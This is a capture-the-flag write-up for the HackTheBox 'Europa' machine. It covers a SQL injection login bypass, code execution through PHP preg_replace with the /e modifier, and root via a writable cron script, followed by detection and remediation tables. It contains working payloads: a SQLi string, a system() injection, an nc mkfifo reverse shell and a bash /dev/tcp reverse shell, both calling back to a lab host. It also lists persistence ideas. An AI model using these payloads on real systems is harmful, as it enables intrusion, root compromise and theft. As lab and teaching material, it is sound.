Skip to content
Back to all posts

HTB: Europa

· 16 min medium Linux Europa

An SQL injection bypass on a TLS-disclosed admin portal leads to PHP code execution via preg_replace's /e modifier, then a writable cron script grants root.

Overview

Europa is a medium-rated Linux box running Ubuntu 16.04 with Apache on ports 80 and 443. The SSL certificate on the HTTPS service discloses three hostnames, including an admin portal at admin-portal.europacorp.htb. The login form is vulnerable to SQL injection, granting unauthenticated access to the dashboard. The dashboard exposes an OpenVPN configuration generator that passes user-controlled input through PHP’s preg_replace() with the /e modifier: a well-known code execution primitive that evaluates the replacement string as PHP. From there, a cron job running as root runs a script in a directory writable by www-data, completing the chain to full system compromise.

The box teaches three distinct lessons: SSL certificate inspection as a reconnaissance technique, the danger of deprecated PHP features, and the recurring theme of root cron jobs calling scripts from user-writable paths.

Reconnaissance

I start with a service scan across the target:

nmap -sC -sV -oA scans/europa 10.129.12.170
PortServiceProduct / VersionNotes
22SSHOpenSSH 7.2p2Ubuntu 16.04 banner
80HTTPApache 2.4.18 (Ubuntu)Default page
443HTTPSApache 2.4.18 (Ubuntu)SSL certificate with SANs

The SSL certificate on port 443 is the most interesting artefact. Inspecting the Subject Alternative Names (SANs) field reveals three hostnames:

openssl s_client -connect 10.129.12.170:443 2>/dev/null | \
  openssl x509 -noout -ext subjectAltName

X509v3 Subject Alternative Name:
    DNS:europacorp.htb, DNS:www.europacorp.htb, DNS:admin-portal.europacorp.htb

All three are added to /etc/hosts. The admin-portal subdomain is the obvious target.

Attack Surface Analysis

Admin portal login form

Browsing to https://admin-portal.europacorp.htb presents a login form with inputEmail and inputPassword fields. The form action posts to the same page. There is no CAPTCHA, no account lockout, and no CSRF token.

OpenVPN configuration generator

After authentication (covered below), the dashboard contains tools.php: a form with three fields (pattern, ipaddress, text) that generates OpenVPN configuration files. The default pattern is /ip_address/, which the backend uses with preg_replace() to substitute the IP address into a template.

The presence of a user-controlled regex pattern field immediately suggests the /e modifier attack against preg_replace().

Vulnerability Analysis

SQL injection on authentication (CWE-89)

The email field on the login form is concatenated directly into a SQL query without parameterisation. A trivial OR '1'='1 injection bypasses authentication entirely.

AttributeValue
CWECWE-89 (SQL Injection)
Root causeUnparameterised query on the email field
ImpactAuthentication bypass; full dashboard access
MITRE ATT&CKT1190 (Exploit Public-Facing Application)

preg_replace /e code execution (CWE-94)

PHP’s preg_replace() with the /e modifier evaluates the replacement string as PHP code. This feature was deprecated in PHP 5.5 and removed in PHP 7.0. The tools.php endpoint passes user input to both the pattern and replacement arguments of preg_replace(), allowing an attacker to inject /e into the pattern and arbitrary PHP into the replacement.

AttributeValue
CWECWE-94 (Code Injection)
Root causeUser-controlled pattern with /e modifier support
ImpactRemote code execution as www-data
MITRE ATT&CKT1059.004 (Unix Shell)

The /e modifier is one of PHP’s most dangerous historical features. Any application that exposes the pattern argument of preg_replace() to user input is exploitable when this modifier is supported by the runtime.

Writable cron script (CWE-732)

A root cron job runs /var/www/cronjobs/clearlogs every minute, which calls a shell script at /var/www/cmd/logcleared.sh. The directory /var/www/cmd/ is writable by www-data. Replacing the script with a reverse shell payload grants root on the next cron cycle.

AttributeValue
CWECWE-732 (Incorrect Permission Assignment)
Root causeRoot cron job calls script from www-data-writable path
ImpactPrivilege escalation to root
MITRE ATT&CKT1053.003 (Cron)

Exploitation

Step 1: SQL injection authentication bypass

The email field accepts SQL metacharacters without sanitisation:

Email: [email protected]' OR '1'='1
Password: anything

The server returns a 302 redirect to the dashboard, granting authenticated access. No credentials are required.

Step 2: Remote code execution via preg_replace /e

From the dashboard, the tools.php page accepts three form fields. Modifying the pattern to include the /e modifier and placing a PHP function call in the replacement field triggers server-side evaluation:

pattern:   /ip_address/e
ipaddress: system('id')
text:      (default OpenVPN template containing "ip_address")

The response includes the output of id:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

RCE confirmed as www-data. The user flag is readable directly:

# Via the preg_replace RCE
system('cat /home/john/user.txt')
# [redacted]

Step 3: Reverse shell

For interactive access, I inject a reverse shell payload through the same vector:

ipaddress: system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.x 4444 >/tmp/f')
nc -lvnp 4444
# Connection from 10.129.12.170
# $ id
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

Step 4: Privilege escalation via writable cron script

Enumeration reveals the cron job structure:

cat /var/www/cronjobs/clearlogs
# #!/usr/bin/php
# <?php
# // calls logcleared.sh
# ?>

ls -la /var/www/cmd/
# drwxrwxr-x 2 root www-data 4096 ...

The directory is group-writable by www-data. Using the existing RCE, I write a reverse shell payload to logcleared.sh via file_put_contents():

ipaddress: file_put_contents('/var/www/cmd/logcleared.sh', '#!/bin/bash\nbash -i >& /dev/tcp/10.10.14.x/4445 0>&1')

On the next minute boundary, the root cron job fires:

nc -lvnp 4445
# Connection from 10.129.12.170
# root@europa:~# id
# uid=0(root) gid=0(root) groups=0(root)
# root@europa:~# cat /root/root.txt
# [redacted]

Post-Exploitation

With root access, I enumerate the system to understand the full attack surface:

uname -a
# Linux europa 4.4.0-81-generic #104-Ubuntu SMP x86_64 GNU/Linux

cat /etc/lsb-release
# DISTRIB_DESCRIPTION="Ubuntu 16.04.2 LTS"

The SQL injection vulnerability exists because the application uses raw string concatenation in the login query. The relevant PHP code builds the query as a direct string interpolation of the POST parameter. No prepared statements, no input validation. The database contains a single admin account with a bcrypt-hashed password.

What a real attacker does next

In a production environment, post-exploitation would include: extracting the database credentials from the application configuration, checking for credential reuse across other services on the same host, harvesting SSH keys from user home directories, and establishing persistence through a secondary backdoor (SSH key injection, PAM module modification, or a less obvious cron entry).

Defensive Analysis

Detection opportunities

PhaseMITRE ATT&CKDetection
Initial accessT1190WAF rule detecting SQL injection patterns in POST body
ExecutionT1059.004Anomalous child process (/bin/sh) spawned by Apache/PHP
PersistenceT1053.003File integrity monitoring on cron-executed scripts
Privilege escalationT1053.003Root process spawning outbound connection to external IP

Network-level: A web application firewall inspecting POST bodies would catch both the SQL injection (single-quote metacharacters in an email field) and the preg_replace payload (PHP function names in a form field). The /e modifier in the pattern field is a high-confidence indicator of exploitation.

Host-level: File integrity monitoring (AIDE, OSSEC, or auditd watches) on /var/www/cmd/logcleared.sh would detect the payload injection. Process monitoring would flag /bin/sh or bash spawned as a child of the Apache worker process.

Log artefacts: Apache access logs record the POST requests to tools.php. The payload appears in the POST body. Cron logs show the script running at each minute boundary.

Remediation

PriorityActionEffortImpact
P0Use prepared statements for all SQL queriesLowCritical
P0Remove /e modifier usage; use preg_replace_callback()LowCritical
P0Set cron script directory ownership to root:root 0755LowCritical
P1Upgrade to PHP 7.0+ (removes /e modifier entirely)MediumHigh
P1Deploy a WAF with SQL injection and code injection rulesMediumHigh
P2Implement account lockout on the admin loginLowMedium
P2Add CSRF tokens to all formsLowMedium
P3Remove X-Powered-By headerLowLow

The SQL injection is the most straightforward fix: replace string concatenation with parameterised queries. Every modern database abstraction layer supports this. The preg_replace issue requires a code change to use preg_replace_callback() instead, but upgrading to PHP 7.0+ eliminates the /e modifier entirely, making the code change less urgent if the runtime upgrade happens first. The cron job permission issue requires only a chown and chmod on the target directory.

Key Takeaways

  1. SSL certificates are a free reconnaissance source. The Subject Alternative Names field disclosed the admin portal hostname. Always inspect TLS certificates on HTTPS services; they frequently contain internal hostnames, development subdomains, and other names not discoverable through DNS brute-forcing alone.

  2. Deprecated language features create persistent risk. The preg_replace /e modifier was deprecated in PHP 5.5 (2013) and removed in PHP 7.0 (2015). Applications that depend on older runtimes inherit every deprecated feature’s risk profile. The fix is not just patching the application code; it is maintaining the runtime on a supported version.

  3. Root cron jobs and writable script paths are a textbook privilege escalation pattern. If root runs a script, the script and every directory in its path must be owned by root with restrictive permissions. This is one of the most common privilege escalation findings in real penetration tests, not just CTF boxes.